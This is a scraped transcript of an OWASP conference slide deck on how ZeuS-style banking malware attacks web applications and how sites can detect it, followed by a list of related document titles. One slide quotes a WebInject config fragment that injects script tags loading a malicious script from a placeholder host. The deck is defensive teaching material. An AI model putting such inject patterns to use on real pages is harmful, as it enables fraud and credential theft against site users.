Upload File

how malware attacks web applications - owasp foundation · 2020. 1. 17. · • malware reverse...

  • Home
  • Documents
  • How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious
20
How Malware Attacks Web Applications Casey Smith SnowFROC 2013

Upload: others

Post on 26-Sep-2020

8 views

Category:

Documents


0 download

Report

TRANSCRIPT

Page 1: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

How Malware Attacks Web Applications

Casey Smith

SnowFROC 2013

Page 2: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

About Me

• About Me

– FirstBank, Colorado

– Information Security Analyst

– Interests include:

• Malware Reverse Engineering

• Anti-Virus Evasion

• Rootkit Technologies

• Web Application Attack Methodologies

Page 3: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

My definition of Malware.

• “Software that is intended to damage , disrupt or disable computers and computer systems.”

• I want to discuss Malware that is written or customized to attack your web applications, specifically.

Page 4: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Malware Installation

• The reality is some users interacting with your web application are infected with Malware.

• How?

– Fake mobile apps, Exploit Packs, Malicious Ads, Compromised Sites, Drive-By Downloads, Phishing Emails, etc...

Page 5: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

ZeuS - And its variants

• ZeuS and it variants. Citadel, GameOver, etc..

• Three core components:

– A custom builder

– Custom configuration Files

– Defines WebInject files

• These components have been adopted by other Malware variations. Bugat, Tinba, Shylock etc…

Page 6: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

ZeuS Components

Page 7: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

What is a WebInject?

• At the core of ZeuS variants is the ability to inject markup and scripts directly into the page on the infected client.

• Defines a URL, and markup patterns to match

Page 8: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Actual Criminal WebInject – Type 1

Page 9: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

WebInject Gallery

= Injected Content

Page 10: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

WebInject – Type 2

<head>

data_end

data_inject

<script type=”text/javascript” src=”https://www.example.com/nl01/jquery17.js”></script>

<script type=”text/javascript” src=”https://www.example.com/nl01/mymalicousscript.nl.js”></script>

data_end

Malware will inject additional functionality to your application, in order to conduct the attacks, persist state, and conduct fraud.

Page 11: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

JavaScript Keylogger

Page 12: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Form Grabbing

Page 13: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Session Hijacking

Page 14: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Persistence and Stealth

• Dll Injection • API Hooks • Operating System

Persistence • Encrypted

Communications • Splitting ‘Evil’ across

multiple files • Memory Resident Only • Low AV Detection Rate

Sample Process Tampering - MineSweeper

Page 15: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Detecting Malware?

• Focus on Application side detection

• Any of the following changing during a session, would be considered interesting:

-IP Address (Caution here)

-Accept Encoding

-Accept Language

-User-Agent Strings

Page 16: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Detecting Malware – part 2

• Customers complaining of system being down, strange error messages, unexplained transactions, suspicious input fields.

• Strange Referer Headers • Watch for Malware writers testing their code. (Yes, you

probably have Malware writers as customers!)

– Out of order page interactions – Extra POST parameters sent – Unusual velocity of transactions – Excessive Logins

Page 17: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Detecting Malware – part 3

• Detecting In-Flight Page Changes with Web TripWires.

• Checksums of portions of the response, validated against server provided hash.

• Detailed Solution in: “Web Application Defender’s Cookbook”

Page 18: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Detecting Malware – part 4

Page 19: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Detecting Malware – part 5

Page 20: How Malware Attacks Web Applications - OWASP Foundation · 2020. 1. 17. · • Malware Reverse Engineering • Anti-Virus Evasion • Rootkit Technologies ... Exploit Packs, Malicious

Questions ?

“Malwaria”


Avira Antivirus for Endpoint - AreteK...rootkit e malware nascosti. Protezione della rete Avira impedisce la memorizzazione o la distribuzione di malware sulla rete interna o su una

Overview of My Doctoral Research Concealable i.i.d. Timing ... · Trojan Horse, rootkit, backdoors Malware for Profit: Spyware, Botnet, Keystroke loggers, and dialers Data Stealing

Veilig onder Windows - Rein de Jong · Computerveiligheid © 2014 –reindejong.nl 6 Gevaren Bedieningsfout/Onkunde Defecte hardware Malware – Virus – Rootkit – Trojan Horse

Rootkit 102 - Kernel-Based Rootkit

Rootkit Final

REUTERS/ARND WIEGMANN PERSONALISASI INTERNET: … · mutuskan informasi apa yang ... Isolasi Hal itu, menurut Periser, ... mengatasi berbagai virus, Trojan, rootkit, dan malware

CS526: Information security · 2020. 9. 13. · Computer Virus ! Botnet ! Rootkit ! Morris Worm 2 Malware . Malware Types ! Concealment: ! Trojan horses, backdoors (trapdoors), logic

MBR rootkit

Antivirus Evasion with ShCoLo/ExLo - Why Malware Works in face … · 2018-02-26 · Antivirus Evasion with ShCoLo/ExLo - Why Malware Works in face of Antivirus Software November

About rootkit

Avira Premium Security Suite · – Protezione rootkit per il rilevamento di malware installatisi occultamente nel sistema del computer (i cosiddetti rootkit) (non disponibile in

ROOTKITS ON SMART PHONES: ATTACKS, IMPLICATIONS, AND ...vg/students/jeffreybickford_msthesis.pdf · The rapid growth of mobile malware and the four rootkit attacks developed, necessitates

Rootkit case

An analysis of malware evasion techniques against modern ... 2015 Msc.pdf · that use virus-like evasion techniques. In order to achieve this, a number of binaries are processed using

RHMD: Evasion-Resilient Hardware Malware Detectorsnael/pubs/micro17-rhmd.pdf(2) Having a model of the detector, can malware developers mod-ify malware to avoid detection? Evading the

Defeating Evasive Malware (VMRay Whitepaper) - Malware … · 2020-03-10 · the presence of a virtual machine or hypervisor. • Evasion by using time, event or environment based

KASPERSKY SECURITY...2015/03/02  · • Deobfuscation techniques • Rootkit & Bootkit analysis • Exploits analysis (.pdf, .doc, .swf, etc.) • Non-Windows Malware Analysis (Android,

Malware memory analysis of the IVYL Linux rootkit

Connecting & Securing Syria’s Refugeessolutionscenter.nethope.org/assets/collaterals/NH...Android malware is the number one threat. Example Android malware: Kemoge (android rootkit),

Malware memory analysis of the Jynx2 Linux rootkit … · Malware memory analysis of the Jynx2 Linux rootkit (Part 1) Investigating a publicly available Linux rootkit using the Volatility

COUNTERING INNOVATIVE SANDBOX EVASION TECHNIQUES USED … · COUNTERING INNOVATIVE SANDBOX EVASION TECHNIQUES USED BY MALWARE ... •State of the Art malware analysis systems use

Malware Evasion: Why It Works

how to tear down modern Malware or latest in Targeted Attacks · how to tear down modern Malware or latest in Targeted Attacks . ... Detection Evasion and Resilience By design, malware

Total Security Solution USER · 2019. 7. 26. · Malware & Anti-Rootkit technology. With firewall & sophisticated protection capabilities Total Security 360 ensures that your valuable

TS Shield 2017 · machine and hide their presence or the presence of other malicious software. Anti-rootkit detects and blocks such programs. Malware Protection The existing Malware

Virtual rootkit

Rootkit Identification

Hey, My Malware Knows Physics! Attacking PLCs with ... · Hey, My Malware Knows Physics! Attacking PLCs with Physical Model Aware Rootkit Luis A. Garcia Rutgers University [email protected]

GinMaster - Virus Bulletin · 2013-10-11 · Top 3 Android Malware by Volume 19100, 4% GinMaster Rest of Malware 300+ malware ... Downloader Trojan Spy Rootkit. 12 ... Android 4 months

Microsoft | Malware Protection Center · 2018-10-16 · Some of the most prevalent malware families today consistently use rootkit functionality. The following list describes a number

Sistema de Ofuscacion de Malware Para El Evasion de NIDS

Complex malware & forensic investigationComplex malware & forensics investigation | Uroburos/Turla/Snake 14 Malware description: - rootkit publicly released in 02/2014 - probably state

2012-08-14 Experimenting with live Cyberattackers for ... · rootkit test rootkit test rootkit test rootkit test rootkit 26 close ftp 27 . 29 30 . decompress decompress secureport

Reversing & malware analysis training part 12 rootkit analysis

Rootkit 101